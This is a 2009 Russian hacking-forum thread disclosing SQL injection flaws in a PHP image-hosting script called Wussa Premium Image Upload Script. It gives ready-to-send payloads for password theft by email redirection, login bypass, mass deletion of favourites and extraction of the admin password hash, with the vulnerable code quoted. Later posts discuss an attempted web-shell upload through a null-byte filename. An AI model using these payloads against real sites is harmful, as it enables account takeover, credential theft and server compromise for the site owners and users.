Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Wussa Premium Image Upload Script (https://forum.antichat.xyz/showthread.php?t=113075)

BlackSun 26.03.2009 13:29

Wussa Premium Image Upload Script
 
Wussa Premium Image Upload Script
Вервия: 2.0
Офф сайт: http://wussa.com/
Скачать: http://allskripts.ru/other_scripts/hosting/268-wussa-premium-image-upload-script.html
Зависимость для всех скуль: magic_quotes = off

SQL-INJ
Уязвимый скрипт: forgot.php
POST Запрос: username=' UNION SELECT id,username,password,userpass,'asdasd@asdasd.ru',access from members -- -
Пароль придет на указанный email
Уязвимый кусок кода:
PHP код:

if (isset($_POST["forgot"]))  {
   
$username htmlspecialchars(trim($_POST["username"]));
   
$email htmlspecialchars(trim($_POST["email"]));
   
   if ((
$username != "") || ($email != ""))
   {
        if (
$username != "")
             
$q "SELECT * FROM `members` WHERE username = '$username'";
        else
             
$q "SELECT * FROM `members` WHERE email = '$email'";
             

        if(!(
$result_set mysql_query($q))) die(mysql_error());
        
$number mysql_num_rows($result_set);

        if (!
$number) {
            echo 
"Sorry ! No account with the specified username or email exists";
            
showForm();
        }
        else {
            
$r mysql_fetch_array($result_set);
            
$email1 $r['email'];
            
$username $r['username'];
            
$password $r['password'];
            
$userpass $r['userpass'];            

            
$to $email1;
            
$subject "$webtitle - Password Recovery";
            
$body "Hello $username, \n\nYou requested for your $webtitle account password recovery.\nYour registration information is shown below:\n\nUser: $username\nPass: $password\nUser Pass: $userpass \n\nThanks!\n{$website}"

SQL-INJ обход авторизации
Уязвимый скрипт: login.php
Запрос: UserName = ' OR 1=1) -- -, пароль любой
Уязвимый кусок кода:
PHP код:

if (isset($_POST["username"]))  {

   
$username htmlspecialchars(trim($_POST["username"]));
   
$password htmlspecialchars(trim($_POST["password"]));
   
   echo 
"<br />";    
   if ((
$username != "") && ($password != ""))
   {
        
$q "SELECT username FROM `members` WHERE (username = '$username') and (password = '$password')";
        if(!(
$result_set mysql_query($q))) die(mysql_error());
        
$number mysql_num_rows($result_set);
 
        if (!
$number) {
            echo 
"Sorry ! The username does not exist, or maybe you have specified an incorrect password."
            
showForm();
        } 
        else {

// session.inc.php
      
$username $_SESSION["imagehost-user"];
      
$password $_SESSION["imagehost-pass"];

      
$q "SELECT id, userpass FROM `members` WHERE (username = '$username') and (password = '$password')";
      if(!(
$result_set mysql_query($q))) die(mysql_error());
      
$number mysql_num_rows($result_set);

      if (!
$number) {
         
session_destroy();
         
$session false;
      }
      else { 

SQL-INJ Удаление любых картинок из избранного
Уязвимый скрипт: myfavourites.php
Запрос: myfavourites.php?act=delete&id=')+OR+1=1+--+
Уязвимый кусок кода:
PHP код:

if ($session == true)


   if (isset(
$_GET["act"])) {
       
$act $_GET["act"];     

       if (isset(
$_GET["id"]))
          
$id trim($_GET["id"]);
       else
          die();

     
      
//DELETE AN IMAGE FROM FAVOURITES
      
if ($act == "delete") {
     
          
mysql_query("DELETE FROM `favourites` WHERE (id = '$id') AND (userid = '$userid')"); 

SQL-INJ Получение пароля администратора
Уязвимый скрипт: mygalleries.php
POST Запрос: changename=1&id=6a416dac9ffe8dd948b21e9d67637189&name=',name=(select password from settings limit 0,1) where id='6a416dac9ffe8dd948b21e9d67637189' -- -
Где хэшеподобная хрень - айди сушествующей галлереи
Уязвимый кусок кода:
PHP код:

        if (isset($_POST["changename"])) {
       
            
$show false;
            
$id $_POST["id"];
            
$name $_POST["name"];

            if (
$name != "") {
                  if (
$id != "") {
                      if(
mysql_query("UPDATE `galleries` SET name='$name' WHERE (id='$id') AND (userid='$userid')")) { 

Думаю хватит, скулей там еще полно, все однотипные ..

PS: process.php
PHP код:

                if (( ($_FILES[$name]["type"] == "image/gif")
                   || (
$_FILES[$name]["type"] == "image/jpeg")
                   || (
$_FILES[$name]["type"] == "image/pjpeg")
                   || (
$_FILES[$name]["type"] == "image/x-png")
                   || (
$_FILES[$name]["type"] == "image/bmp")
                   || (
$_FILES[$name]["type"] == "image/png")))
                {

                
$size intval(($_FILES[$name]["size"] / 1024) / 1024);
                 
                 if (
$session == true
                    
$limit $maxsizemember;
                 else
                    
$limit $maxsizeguest;  
 
                   if (
$size $limit)
                       die (
"Sorry ! The size of the image exceeds the $limit Mb limit.");


                   if (
$_FILES[$name]["error"] > 0)  {
                       die(
"Error: " $_FILES[$name]["error"]);
                   }
                   else {
                       
$n $_FILES[$name]["name"];
                       
$rndName md5($n date("d-m-y") . time()) . "." findExtension($n);
                       
$uploadPath "pictures/" $rndName;
                       
$tempPath $_FILES[$name]["tmp_name"];
                       
move_uploaded_file($tempPath$uploadPath);
                   }

                }
                else
                   die(
"Sorry ! \"{$_FILES[$name]["name"]}\" is an invalid image."); 

Файл не проверяет ресширение файлов, возможно можно залить шелл, правильно сформировав HTTP пакет, но мне лень было это проверять :) Файлы заливаются в pictures

KIR@PRO 27.03.2009 18:42

Неполучится....

Цитата:

Warning: imagecreatefromjpeg() [function.imagecreatefromjpeg]: gd-jpeg, libjpeg: recoverable error: Corrupt JPEG data: 322 extraneous bytes before marker 0x20 in /home/upntag/public_html/process.php on line 108

Warning: imagecreatefromjpeg() [function.imagecreatefromjpeg]: gd-jpeg: JPEG library reports unrecoverable error: in /home/upntag/public_html/process.php on line 108

Warning: imagecreatefromjpeg() [function.imagecreatefromjpeg]: 'pictures/26c901ba2cd06e47ac94dd326015b06b.jpg' is not a valid JPEG file in /home/upntag/public_html/process.php on line 108

Warning: imagesx(): supplied argument is not a valid Image resource in /home/upntag/public_html/process.php on line 192

Warning: imagesy(): supplied argument is not a valid Image resource in /home/upntag/public_html/process.php on line 193
I am sorry but your Image "Изображение 033.php%00.jpg" is either too small or too large. Images must be atleast 150px but not larger then 4,000px
p.s. но судя по коду можно как все варианты опробую отпишусь....

BlackSun 29.03.2009 12:27

Цитата:

Неполучится....
Я написал, что можно залить шелл. Слово "возможно" в фразе "возможно можно" стоит только потому, что мне лень было проверять. Истинное Мнение Хер Оспоришь.

Вначале файл заливается и только потом вызываются функции для работы с изображениями, но на них уже пофиг, главное залить файл.


Время: 02:42